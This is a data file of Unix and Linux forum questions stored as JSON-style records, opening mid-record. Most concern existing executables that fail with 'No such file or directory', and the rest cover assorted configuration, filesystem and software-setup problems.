$(OBJS) hello core *.gdb I've checked my PATH: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin And when I run `which arm-elf-gcc` I get `/usr/local/bin/arm-elf-gcc`. I even get tab completion, but when I try to run the `arm-elf-gcc` directly I still get `bash: /usr/local/bin/arm-elf-gcc: No such file or directory`. I've verified that the file exists, but for some reason Ubuntu doesn't see it. Any ideas?"} {"_id": "99562", "title": "I get \"bash: ...: No such file or directory\" even though the executable is there", "text": "Operating system: Lubuntu 13.10, 64-bit. I installed the Seamonkey browser from http://www.seamonkey-project.org/ following the instructions quoted below from http://www.seamonkey- project.org/doc/install-and-uninstall#install_linux > To install SeaMonkey by downloading the tar.bz2 file: > > Create a directory named \"seamonkey2\" (mkdir seamonkey2) and change to that > directory (cd seamonkey2). > Click the link on the site you're downloading SeaMonkey from to download > the package (seamonkey-2.*.tar.bz2) file into the seamonkey2 directory. > Decompress the file with the following command: > > `tar jxvf seamonkey-2.*.tar.bz2` > > This creates a \"seamonkey\" directory under your seamonkey2 directory. > Change to the seamonkey directory (cd seamonkey). > Run SeaMonkey with the following command: > > `./seamonkey` I followed the instructions but here is what I see with the following commands: [05:28 PM] ~/seamonkey2/seamonkey $ ll seam* -rwxr-xr-x 1 vasa1 vasa1 82816 Oct 29 08:23 seamonkey* -rwxr-xr-x 1 vasa1 vasa1 82820 Oct 29 08:23 seamonkey-bin* * * * [05:28 PM] ~/seamonkey2/seamonkey $ seamonkey bash: /home/vasa1/seamonkey2/seamonkey/seamonkey: No such file or directory [05:28 PM] ~/seamonkey2/seamonkey $ seamonkey-bin bash: /home/vasa1/seamonkey2/seamonkey/seamonkey-bin: No such file or directory [05:28 PM] ~/seamonkey2/seamonkey $ ./seamonkey bash: ./seamonkey: No such file or directory [05:29 PM] ~/seamonkey2/seamonkey $ ./seamonkey-bin bash: ./seamonkey-bin: No such file or directory [05:29 PM] ~/seamonkey2/seamonkey $ So why is `bash` saying \"No such file or directory\" although the directory and files (seamonkey and seamonkey-bin) exist? Here is the output of `cat /etc/environment`: [05:38 PM] ~ $ cat /etc/environment PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/home/vasa1/seamonkey2/seamonkey\" [05:38 PM] ~ $ Here is the output of `file seamonkey` and `ldd seamonkey`: [06:29 PM] ~/seamonkey2/seamonkey $ file seamonkey seamonkey: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped [06:30 PM] ~/seamonkey2/seamonkey $ ldd seamonkey linux-gate.so.1 => (0xf7726000) libpthread.so.0 => /lib32/libpthread.so.0 (0xf76f6000) libdl.so.2 => /lib32/libdl.so.2 (0xf76f1000) libstdc++.so.6 => not found libm.so.6 => /lib32/libm.so.6 (0xf76ae000) libgcc_s.so.1 => not found libc.so.6 => /lib32/libc.so.6 (0xf74fc000) /lib/ld-linux.so.2 (0xf7727000) [06:31 PM] ~/seamonkey2/seamonkey $"} {"_id": "21475", "title": "When executable files aren't", "text": "> **Possible Duplicate:** > Can't execute some binaries in chroot environment (zsh: Not found) Today I ran into something that has me stumped. A co-worker is working with a specific pre-compiled binary he downloaded (available here). On the Ubuntu 10.04 LTS Server he's working on, attempting to execute this file yields file- not-found, even with permissions set right. And yet, when I attempt the same thing from OpenSUSE 11.4, it runs just fine. Running `file` on it gives me: > ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked > (uses shared libs), for GNU/Linux 2.6.15, stripped Both the Ubuntu and OpenSUSE boxes are 64-bit installs, and `file` returns the same information on both machines. Which looks just fine to me. And on the opensuse box, LDD even gives me a short list of library files. Hand checking, all of those specified files also exist on the Ubuntu server. Strace output is different though: Opensuse: > execve(\"./trid\", [\"./trid\"], [/* 122 vars */]) = 0 Ubuntu (giving full path does not change result): > execve(\"./trid\", [\"./trid\"], [/* 19 vars */]) = -1 ENOENT (No such file or > directory) What can cause a file like this to not be executable in this way?"} {"_id": "30063", "title": "skype not found on Oneiric 64, but it is right there", "text": "> **Possible Duplicate:** > Can't execute some binaries in chroot environment (zsh: Not found) I have something weird here. Cannot find a file although it is right there. $ skype command not found: skype $ whereis skype skype: /usr/bin/skype /usr/share/skype $ /usr/bin/skype file or directory not found: /usr/bin/skype $ ls -l /usr/bin/skype -rwxr-xr-x 1 root root 21362968 2011-06-08 12:26 /usr/bin/skype $ type /usr/bin/skype /usr/bin/skype is /usr/bin/skype $ which skype /usr/bin/skype Any explanation for that? Happened only with skype so far, no matter if on zsh or bash. I'm on Ubuntu Natty 64, had not encountered anything like that before."} {"_id": "117314", "title": "Getting 'no such file or directory' even though the file is clearly there", "text": "I'm having a perplexing issue. If I try to run a script via: root@myServer:~/dig# ./minerd.sh I get: -bash: ./minerd.sh: No such file or directory If I try: root@myServer:~/dig# ~/dig/minerd.sh I still get: -bash: /root/dig/minerd.sh: No such file or directory If I do: root@myServer:~/dig# ls ~/dig/minerd.sh Then I get: /root/dig/minerd.sh So, the file is clearly there. I have also previously done `chmod +x` on it. But still, its not allowing me to run it for some reason. What am I doing wrong? Edit: Even moving the file to a different name doesn't work: root@myServer:~/dig# mv minerd.sh test.sh root@myServer:~/dig# ./test.sh -bash: ./test.sh: No such file or directory"} {"_id": "147679", "title": "Executable exists for everything but bash & file manager", "text": "I am running Debian. I was trying to use truecrypt the other day. I downloaded and extracted the zip, and ran the installer. I just extracted the file, and did not install it. I then tried executing it, and apparently it does not exist. First I just double clicked the file from thunar (xfce4 file manager), and it told me the file did not exist. I then tried the following: ~$ cd /home/share/crypt/truecrypt/ /home/share/crypt/truecrypt$ ls -al truecrypt-linux_x86-64 -rwxrwxrwx 1 abstruselyarcane root 4873328 Feb 7 2012 truecrypt-linux_x86-64 #Its not a figment of my imagination /home/share/crypt/truecrypt$ file truecrypt-linux_x86-64 truecrypt-linux_x86-64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), stripped # It is indeed an executable /home/share/crypt/truecrypt$ ./truecrypt-linux_x86-64 bash: ./truecrypt-linux_x86-64: No such file or directory # It doesn't exist? /home/share/crypt/truecrypt$ sudo ./truecrypt-linux_x86-64 [sudo] password for abstruselyarcane: sudo: unable to execute ./truecrypt-linux_x86-64: No such file or directory /home/share/crypt/truecrypt$ ldd truecrypt-linux_x86-64 not a dynamic executable # file just said it is an executable! I am very confused right now. EDIT: I has been suggested to be that I'm running a 64bit from a 32bit, I went to the other post, and tested my distro: ~$ uname -m x86_64"} {"_id": "53097", "title": "/bin/sh: ./check-dependencies.pl: not found \u2014 but check-dependencies.pl exists!", "text": "I'm trying to build Moses, but when I run `make` I get the following output: minakshi@minakshi-Vostro-3500:~/Desktop/working-dir/moses/scripts$ make release # Compile the parts make all make[1]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts' # Building memscore may fail e.g. if boost is not available. # We ignore this because traditional scoring will still work and memscore isn't used by default. cd training/memscore ; \\ ./configure && make \\ || ( echo \"WARNING: Building memscore failed.\"; \\ echo 'training/memscore/memscore' >> ../../release-exclude ) checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking for g++... g++ checking whether the C++ compiler works... yes checking for C++ compiler default output file name... a.out checking for suffix of executables... checking whether we are cross compiling... no checking for suffix of object files... o checking whether we are using the GNU C++ compiler... yes checking whether g++ accepts -g... yes checking for style of include used by make... GNU checking dependency style of g++... gcc3 checking for gcc... gcc checking whether we are using the GNU C compiler... yes checking whether gcc accepts -g... yes checking for gcc option to accept ISO C89... none needed checking dependency style of gcc... gcc3 checking for boostlib >= 1.31.0... yes checking for cos in -lm... yes checking for gzopen in -lz... yes checking for cblas_dgemm in -lgslcblas... no checking for gsl_blas_dgemm in -lgsl... no checking how to run the C++ preprocessor... g++ -E checking for grep that handles long lines and -e... /bin/grep checking for egrep... /bin/grep -E checking for ANSI C header files... yes checking for sys/types.h... yes checking for sys/stat.h... yes checking for stdlib.h... yes checking for string.h... yes checking for memory.h... yes checking for strings.h... yes checking for inttypes.h... yes checking for stdint.h... yes checking for unistd.h... yes checking n_gram.h usability... no checking n_gram.h presence... no checking for n_gram.h... no checking for size_t... yes checking for ptrdiff_t... yes configure: creating ./config.status config.status: creating Makefile config.status: creating config.h config.status: config.h is unchanged config.status: executing depfiles commands make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/memscore' make all-am make[3]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/memscore' make[3]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/memscore' make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/memscore' touch release-exclude # No files excluded by default pwd=`pwd`; \\ for subdir in cmert-0.5 phrase-extract symal mbr lexical-reordering; do \\ make -C training/$subdir || exit 1; \\ echo \"### Compiler $subdir\"; \\ cd $pwd; \\ done make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/cmert-0.5' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/cmert-0.5' ### Compiler cmert-0.5 make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/phrase-extract' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/phrase-extract' ### Compiler phrase-extract make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/symal' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/symal' ### Compiler symal make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/mbr' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/mbr' ### Compiler mbr make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/lexical-reordering' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/lexical-reordering' ### Compiler lexical-reordering ## All files that need compilation were compiled make[1]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts' /bin/sh: ./check-dependencies.pl: Permission denied make: *** [release] Error 126 minakshi@minakshi-Vostro-3500:~/Desktop/working-dir/moses/scripts$ make release # Compile the parts make all make[1]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts' # Building memscore may fail e.g. if boost is not available. # We ignore this because traditional scoring will still work and memscore isn't used by default. cd training/memscore ; \\ ./configure && make \\ || ( echo \"WARNING: Building memscore failed.\"; \\ echo 'training/memscore/memscore' >> ../../release-exclude ) checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking for g++... g++ checking whether the C++ compiler works... yes checking for C++ compiler default output file name... a.out checking for suffix of executables... checking whether we are cross compiling... no checking for suffix of object files... o checking whether we are using the GNU C++ compiler... yes checking whether g++ accepts -g... yes checking for style of include used by make... GNU checking dependency style of g++... gcc3 checking for gcc... gcc checking whether we are using the GNU C compiler... yes checking whether gcc accepts -g... yes checking for gcc option to accept ISO C89... none needed checking dependency style of gcc... gcc3 checking for boostlib >= 1.31.0... yes checking for cos in -lm... yes checking for gzopen in -lz... yes checking for cblas_dgemm in -lgslcblas... no checking for gsl_blas_dgemm in -lgsl... no checking how to run the C++ preprocessor... g++ -E checking for grep that handles long lines and -e... /bin/grep checking for egrep... /bin/grep -E checking for ANSI C header files... yes checking for sys/types.h... yes checking for sys/stat.h... yes checking for stdlib.h... yes checking for string.h... yes checking for memory.h... yes checking for strings.h... yes checking for inttypes.h... yes checking for stdint.h... yes checking for unistd.h... yes checking n_gram.h usability... no checking n_gram.h presence... no checking for n_gram.h... no checking for size_t... yes checking for ptrdiff_t... yes configure: creating ./config.status config.status: creating Makefile config.status: creating config.h config.status: config.h is unchanged config.status: executing depfiles commands make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/memscore' make all-am make[3]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/memscore' make[3]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/memscore' make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/memscore' touch release-exclude # No files excluded by default pwd=`pwd`; \\ for subdir in cmert-0.5 phrase-extract symal mbr lexical-reordering; do \\ make -C training/$subdir || exit 1; \\ echo \"### Compiler $subdir\"; \\ cd $pwd; \\ done make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/cmert-0.5' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/cmert-0.5' ### Compiler cmert-0.5 make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/phrase-extract' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/phrase-extract' ### Compiler phrase-extract make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/symal' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/symal' ### Compiler symal make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/mbr' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/mbr' ### Compiler mbr make[2]: Entering directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/lexical-reordering' make[2]: Nothing to be done for `all'. make[2]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts/training/lexical-reordering' ### Compiler lexical-reordering ## All files that need compilation were compiled make[1]: Leaving directory `/home/minakshi/Desktop/working-dir/moses/scripts' /bin/sh: ./check-dependencies.pl: not found make: *** [release] Error 127 The error message says `./check-dependencies.pl` is \"not found\", but I see the file present in the `scripts` folder. So why does this error occur?"} {"_id": "91699", "title": "\"No such file or directory\" on files that exist?", "text": "In the past day, I've found at least 4 binaries that say \"bin-name: No such file or directory\" when I try to run them. Even if I type part of the name and tab complete it, I get the same error. I'm on an x86_64 architecture. Output of `file`: fez-09152013-bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x78612e4aac547367548dcc7cc3067c3cfcf2f177, stripped Output of `strace`: execve(\"./fez-09152013-bin\", [\"./fez-09152013-bin\"], [/* 23 vars */]) = -1 ENOENT (No such file or directory) dup(2) = 3 fcntl(3, F_GETFL) = 0x8002 (flags O_RDWR|O_LARGEFILE) fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f3fda17a000 lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek) write(3, \"strace: exec: No such file or di\"..., 40strace: exec: No such file or directory ) = 40 close(3) = 0 munmap(0x7f3fda17a000, 4096) = 0 exit_group(1) = ? Output of `ldd`: Not a dynamic executable Output of `strings` is way too long to indent, so here's a link: http://pastebin.com/t7MmugLY apt-get error: Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: ia32-libs : Depends: ia32-libs-i386 but it is not installable E: Unable to correct problems, you have held broken packages."} {"_id": "68505", "title": "no such file or directory", "text": "I have a 64-bit Ubuntu and want to execute a 32-bit FreeRTOS binary. The error message says no such file or directory. The files are there I can read them with `ls -l`."} {"_id": "55614", "title": "Linux From Scratch: make no such file or directory, bad interpreter", "text": "> **Possible Duplicate:** > Getting \u201cNot found\u201d message when running a 32-bit binary on a 64-bit system I have finished the chapter 5 of the book. And after I entered the chroot I realized that `make` is not working even though it is present. root:/sources/linux-3.5.2# make mrproper bash: /tools/bin/make: No such file or directory the path is correct echo $PATH /bin:/usr/bin:/sbin:/usr/sbin:/tools/bin AND ls -l /tools/bin/make -rwxr-xr-x 1 root root 559139 Nov 13 11:19 /tools/bin/make I read on LFS FAQ that is probably due to a bad interpreter (link) so I did readelf -l /tools/bin/make | grep interpreter [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] so it's wrong they said it should be something like **/tools/lib/ld- linux.so.2** Is there a way to precise when building it the right interpreter ? Thanks"} {"_id": "89964", "title": "Debian Wheezy 7.1 - can't launch Skype or Firefox", "text": "I've installed Skype by using `dkpg` and when I try to run it, this is what I get `-bash: /usr/bin/skype: No such file or directory`. Which is very strange since `ls -l | grep skype` shows this: -rwxr-xr-x 1 root root 30717480 May 7 01:43 skype I had similiar problems when I installed FireFox, but since I didn't need it all that much, didn't care. However, I do need Skype on Linux. Output of my `$PATH` variable: /home/max/.rvm/gems/ruby-2.0.0-p247/bin:/home/max/.rvm/gems/ruby-2.0.0-p247@global/bin:/home/max/.rvm/rubies/ruby-2.0.0-p247/bin:/home/max/.rvm/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games Anyone care to explain?... Because I'm stunned."} {"_id": "66220", "title": "Existing file can not be found?", "text": "/usr/share/tipp10$ ll insgesamt 9408 drwxr-xr-x 3 myname ssl-cert 4096 Feb 26 20:07 ./ drwxr-xr-x 288 root root 12288 Feb 26 20:07 ../ -rwxrwxrwx 1 myname ssl-cert 9480 Okt 6 2010 error.wav* drwxrwxrwx 4 myname ssl-cert 4096 Feb 26 20:07 help/ -rwxrwxrwx 1 myname ssl-cert 16368 Dez 30 2010 license_de.txt* -rwxrwxrwx 1 myname ssl-cert 16291 Dez 30 2010 license_en.txt* -rwxrwxrwx 1 myname ssl-cert 5928 Okt 6 2010 metronome.wav* -rwxrwxrwx 1 myname ssl-cert 9537480 M\u00e4r 11 2011 tipp10* -rwxrwxrwx 1 myname ssl-cert 1255 Nov 7 2008 tipp10.png* -rwxrwxrwx 1 myname ssl-cert 13312 Dez 18 2010 tipp10v2.template* /usr/share/tipp10$ pwd tipp10 /usr/share/tipp10 /usr/share/tipp10$ file tipp10 tipp10: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.4, not stripped manuel@P5KC:/usr/share/tipp10$ ldd tipp10 \\tdas Programm ist nicht dynamisch gelinkt # (Program is not dynamic linked) /usr/share/tipp10$ ./tipp10 bash: ./tipp10: File not found Ubuntu 12.04 x64 What the heck is wrong here? **EDIT: --------------------- SOLUTION ---------------------** .. for those, who dont want to read the complete dup article. My OS is 64-bit. I though 32-bit apps would run on 64-bit machines. 32-bit apps can run on a 64-bit machine, but only if the requisite supporting libraries are installed. For running 32-bit programs, try installing the ia32-libs package."} {"_id": "35777", "title": "How to change the prompt in Linux?", "text": "The default prompt will be root@monu dev]# Can we change the \"root@monu\" part and give it a desired name?"} {"_id": "123059", "title": "Is it possible to edit the '$' or '#' symbols for users?", "text": "What file needs to receive edits in order to make such adjustments?"} {"_id": "107914", "title": "How can I get TaxACT 2013 to run on Debian Wheezy amd64 with Wine 1.4?", "text": "What can I do to run TaxACT 2013 under Wine 1.4.1 on Debian Wheezy amd64? Running TaxACTenter link description here from a terminal gives this: $ env WINEPREFIX=\"/home/bill/.wine\" wine \"C:\\TaxACT\\TAXA~SPJ\\TaxACT13.exe\" fixme:ieframe:PersistStreamInit_InitNew (0x14f2a8) fixme:ieframe:WebBrowser_put_RegisterAsDropTarget (0x14f2a8)->(0) ... Wine also produces a backtrace that starts Unhandled exception: page fault on read access to 0x00000000 in 32-bit code (0x0075a7d0). I can provide more details, if it's helpful. I did install the i386 version of gnome-keyring-pkcs11.so manually to get this far. FWIW, the 2012 version fails, too, but the 2011 version seems to work. Does the fixme:ieframe:... suggest something obvious?"} {"_id": "9949", "title": "Kernel - Starting the application", "text": "I placed the uBoot loader and the kernel into the raw flash image. This does not contain any root file system. (I copied uBoot and kernel image using dd command to a flash image). Now i have to change my kernel as to start my application at a particular address which was located in my flash image. How can I change the kernel to start my application on its own?"} {"_id": "35588", "title": "Manually setting environment variables for Metasploit", "text": "How do I set manually environment variables for Metasploit, when I execute `db_driver` I get this message: [*] No Active Driver [*] Available: [*] DB Support: Enable the postgresql driver with the following command: [*] * This requires libpq-dev and a build environment [*] $ gem install postgres [*] $ gem install pg # is an alternative that may work After googling, I find that Metasploit set some environment variables, and with that can load the installed drivers, but to me it's looks like Metasploit does not set environment variables."} {"_id": "35589", "title": "How are files laid out in ext2/ext3/ext4?", "text": "A few days ago all my metadata on a ext4 format flash card was overwritten. I am now going to speculate on how this happened. This is pure speculation. It happened just after I used a different card. The volume label on the card is now the same as the other card. So I suspect that I failed to sync/unmount the other card, when I pulled it. The card reader does not properly notify the system when a card is pulled so next system generated sync, the system did not know that I changed cards, and it overwrote the metadata. The first thing I did when this happened, is create an image using dd. The second thing I did was make the image read-only. The third thing I did is make a writeable copy of the image. I discovered photorec, which managed to recover some things, but not all. I think one of the reasons for this is that it is nondestructive. Since some of the recovered files are text, I suspect that photorec uses minimal information about the file format, if any. To try and recover any of the other files from the card, I would need to know how files are laid out in ext2. I suspect the basic is that files are broken into blocks, which are written into sectors and information on how to find the next sector is written somehow in the present sector. What I need top proceed is information on how the pointer to the next sector is written. PS: I am reading the photorec code, but am having some problems reading it. Whether it's me or whether the code is ugly, I don't know. PPS: I have found some information on how ext file systems are laid out, but can't seem to find basic file layout info."} {"_id": "56474", "title": "Which is a better option for using OS on laptop: Linpus Linux or Linux?", "text": "I would like to know the difference between the two so I can install on my laptop from security point of view and as an overall performance.This is because I am being cyber bullied on internet.I have asked question on security and superuser regarding this."} {"_id": "32056", "title": "Writing Linux Kernel module for non-MSDOS disk labels/partition tables", "text": "Linux supports a set of different disk label or partition table formats. For example, Sun Disk Labels and MS-DOS partition tables are both disk labels that contain (largely) the same information (partitioning) in different formats. Please note, I'm not referring to **filesystems** like ext{2,3,4} but **disklabels** like the msdos, GPT, Sun Disk Label, etc. I'd like to add support for a disk label format that's not currently in the kernel, but it looks like (from browsing `fs/partitions/`) that these are built into the kernel itself, and can't be compiled as modules. Is there any sort of kernel API I could use to add support for different disk labels? Will I have to resort to `losetup` instead?"} {"_id": "57788", "title": "Create xorg input device configuration file for only a specific device", "text": "I've noticed that there are a few problems with using the Apple Magic Trackpad by default on Ubuntu derivatives. I've found the solution lies in making a modification to `/etc/X11/xorg.conf.d/50-synaptic.conf` (or `/usr/share/X11/xorg.conf.d/50-synaptic.conf`, but that file recommends that you copy and edit it at the before-mentioned `/etc` path): # Example xorg.conf.d snippet that assigns the touchpad driver # to all touchpads. See xorg.conf.d(5) for more information on # InputClass. # DO NOT EDIT THIS FILE, your distribution will likely overwrite # it when updating. Copy (and rename) this file into # /etc/X11/xorg.conf.d first. # Additional options may be added in the form of # Option \"OptionName\" \"value\" # Section \"InputClass\" Identifier \"touchpad catchall\" Driver \"synaptics\" MatchIsTouchpad \"on\" # This option is recommend on all Linux systems using evdev, but cannot be # enabled by default. See the following link for details: # http://who-t.blogspot.com/2010/11/how-to-ignore-configuration-errors.html MatchDevicePath \"/dev/input/event*\" # Fix for trackpad sensitivity. Option \"VertResolution\" \"75\" Option \"HorizResolution\" \"75\" EndSection Section \"InputClass\" Identifier \"touchpad ignore duplicates\" MatchIsTouchpad \"on\" MatchOS \"Linux\" MatchDevicePath \"/dev/input/mouse*\" Option \"Ignore\" \"on\" EndSection The two trackpad resolution options above are the important ones. What I'd like to do is create a customized configuration file which _only_ targets Apple Magic Trackpads and submit it as a patch upstream to make life easier for people. How can I adjust my configuration file to be more specific and only target the Apple Magic Trackpad?"} {"_id": "57789", "title": "Creating Conky text variables with zero padding?", "text": "I've got a strange issue with my Conky setup: ![enter image description here](http://i.stack.imgur.com/AC8oX.png) What I'm looking to get rid of/fix is the fact that my CPU percentages (using `${cpu cpuX}`) won't seem to pad properly. I'd like all values to be aligned vertically so that statuses never wiggle. Here's excerpts from my conky file: # ... pad_percents 3 # ... ${cpubar cpu1 6,135}$alignr${...}${cpu cpu1}% How can I right align and pad CPU percentage values so they stop throwing off my layout? The equivalent printf would be `%3.0f` so that values will appear like this: $ \"%3.0f\" % (1,) ' 1' $ \"%3.0f\" % (13,) ' 13' $ \"%3.0f\" % (100,) '100' How can I make this happen in Conky for my CPU percentage?"} {"_id": "57780", "title": "Do I only need one swap partition for multiple Linux distros? (and other questions)", "text": "I have Linux Mint 14 installed as my only OS. I have one extended partition containing /swap, / and /home, and I have some unallocated space on my drive. I'm guessing that Mint decided to put this all on an extended partition instead of three primary partitions. So I want to build Linux From Scratch using some of my unallocated space. **My first question is, do I need to have a swap partition for each distro or can LFS use the swap partition I already have? If so, would the swap partition have to be a primary partition, or does it not matter?** **Is there any _practical difference_ between a primary and a logical partition?** A question about definition: **is an extended partition just a primary partition that contains logical partitions?** Finally, since deleting Windows 7 (sda 1-3), my Linux partitions are still numbered 5-7. If I create a new partition, will it be called sda1? Sorry for the question cluster but the sooner I learn this, the sooner I won't have to ask simple questions. :)"} {"_id": "117568", "title": "Adding a Column of values in a tab delimited file", "text": "How can I add a Column of values in a file which has a certain number of rows. I have a input file like this: Input file: SPATA17 1 217947738 LYPLAL1 1 219383905 FAM47E 4 77192838 SHROOM3 4 77660162 SHROOM3 4 77660731 SHROOM3 4 77662248 Output file: SPATA17 1 217947738 file1 LYPLAL1 1 219383905 file1 FAM47E 4 77192838 file1 SHROOM3 4 77660162 file1 SHROOM3 4 77660731 file1 SHROOM3 4 77662248 file1 In this case,I want to add a Column of values,upto the number of rows in the file.The value remains consistent,such as \"file1\". The reason is I have 100 of those files.I dont want to open each file and paste a column. Also is there any way to automate this,by going in a directory and adding a column of values. The value comes from the filename,which has to be added in each row of the file in the last/first column."} {"_id": "55870", "title": "Output png as binary", "text": "Title says it all. I'm on a unix machine, can't figure it out. Sublime Text 2 opens the PNG as Hex and TextMate as ASCII. I need binary. How can I do it?"} {"_id": "55871", "title": "creating gif animations", "text": "I read some where it was possible to create a gif by adding frames to it in a browser. Does that mean on the server you can add frames to it by using cat? Are there other file types that are so simple to work with? What would be something good to do to better understand file headers that is very simple and would help explore sending data over an arduino ( which is of course a seperate issue! )."} {"_id": "55877", "title": "How to access a KVM virtual-machine?", "text": "I've created a KVM VM using `virt-install`. There is an image file in the directory `/ssd/kvms`. How do I access the virtual machine and turn it on? Do I need to assign an IP address, and if so, how do I do that?"} {"_id": "55874", "title": "\"who am i\" after \"su\" not showing new user id?", "text": "Why is it that when I switch user 'su username' and then execute 'who am i' is outputs the previous user which I was logged as and not the one I've switched to?"} {"_id": "13547", "title": "ext4: How to account for the filesystem space?", "text": "I've recently formated a 1.5 TB drive with the intention of replacing ntfs with ext4. Then I noticed that the files I saved don't fit on the new partition. df: ext4 (ext3 & ext2 show the same behavior) Filesystem 1K-blocks Used Available Use% Mounted on /dev/sdb1 1442146364 71160 1442075204 1% /media/Seagate ntfs (similar to all other options that gparted offers): /dev/sdb1 1465137148 110700 1465026448 1% /media/Seagate That 1K-blocks difference means a glaring 22 GiB less usable space. I have already executed tune2fs -O \\^has_journal tune2fs -r 0 tune2fs -m 0 with, unsurprisingly, no effect as that does not affect blocks that just aren't there. Still, fdisk reports that the ext4 partition covers the entire disk. fdisk -l /dev/sdb: WARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted. Disk /dev/sdb: 1500.3 GB, 1500301910016 bytes 255 heads, 63 sectors/track, 182401 cylinders, total 2930277168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/sdb1 1 2930277167 1465138583+ ee GPT And thus e. g. resize2fs reports that there's \"Nothing to do!\" dumpe2fs -h /dev/sdb1: dumpe2fs 1.41.14 (22-Dec-2010) Filesystem volume name: Last mounted on: Filesystem UUID: d6fc8971-89bd-4c03-a7cd-abdb945d2173 Filesystem magic number: 0xEF53 Filesystem revision #: 1 (dynamic) Filesystem features: ext_attr resize_inode dir_index filetype extent flex_bg sparse_super large_file huge_file uninit_bg dir_nlink extra_isize Filesystem flags: signed_directory_hash Default mount options: (none) Filesystem state: clean Errors behavior: Continue Filesystem OS type: Linux Inode count: 91578368 Block count: 366284288 Reserved block count: 0 Free blocks: 360518801 Free inodes: 91578357 First block: 0 Block size: 4096 Fragment size: 4096 Reserved GDT blocks: 936 Blocks per group: 32768 Fragments per group: 32768 Inodes per group: 8192 Inode blocks per group: 512 Flex block group size: 16 Filesystem created: Sat May 21 17:12:04 2011 Last mount time: Sat May 21 17:15:30 2011 Last write time: Sat May 21 17:24:32 2011 Mount count: 1 Maximum mount count: 32 Last checked: Sat May 21 17:12:04 2011 Check interval: 15552000 (6 months) Next check after: Thu Nov 17 16:12:04 2011 Lifetime writes: 1372 MB Reserved blocks uid: 0 (user root) Reserved blocks gid: 0 (group root) First inode: 11 Inode size: 256 Required extra isize: 28 Desired extra isize: 28 Default directory hash: half_md4 Directory Hash Seed: c334e6ef-b060-45d2-b65d-4ac94167cb09 Journal backup: inode blocks What is using that missing space?"} {"_id": "25602", "title": "Why is (free_space + used_space) != total_size in df?", "text": "> **Possible Duplicate:** > ext4: How to account for the filesystem space? I have a ~2TB ext4 USB external disk which is about half full: $ df Filesystem 1K-blocks Used Available Use% Mounted on /dev/sdc 1922860848 927384456 897800668 51% /media/big I'm wondering why the total size (1922860848) isn't the same as Used+Available (1825185124)? From this answer I see that 5% of the disk might be reserved for root, but that 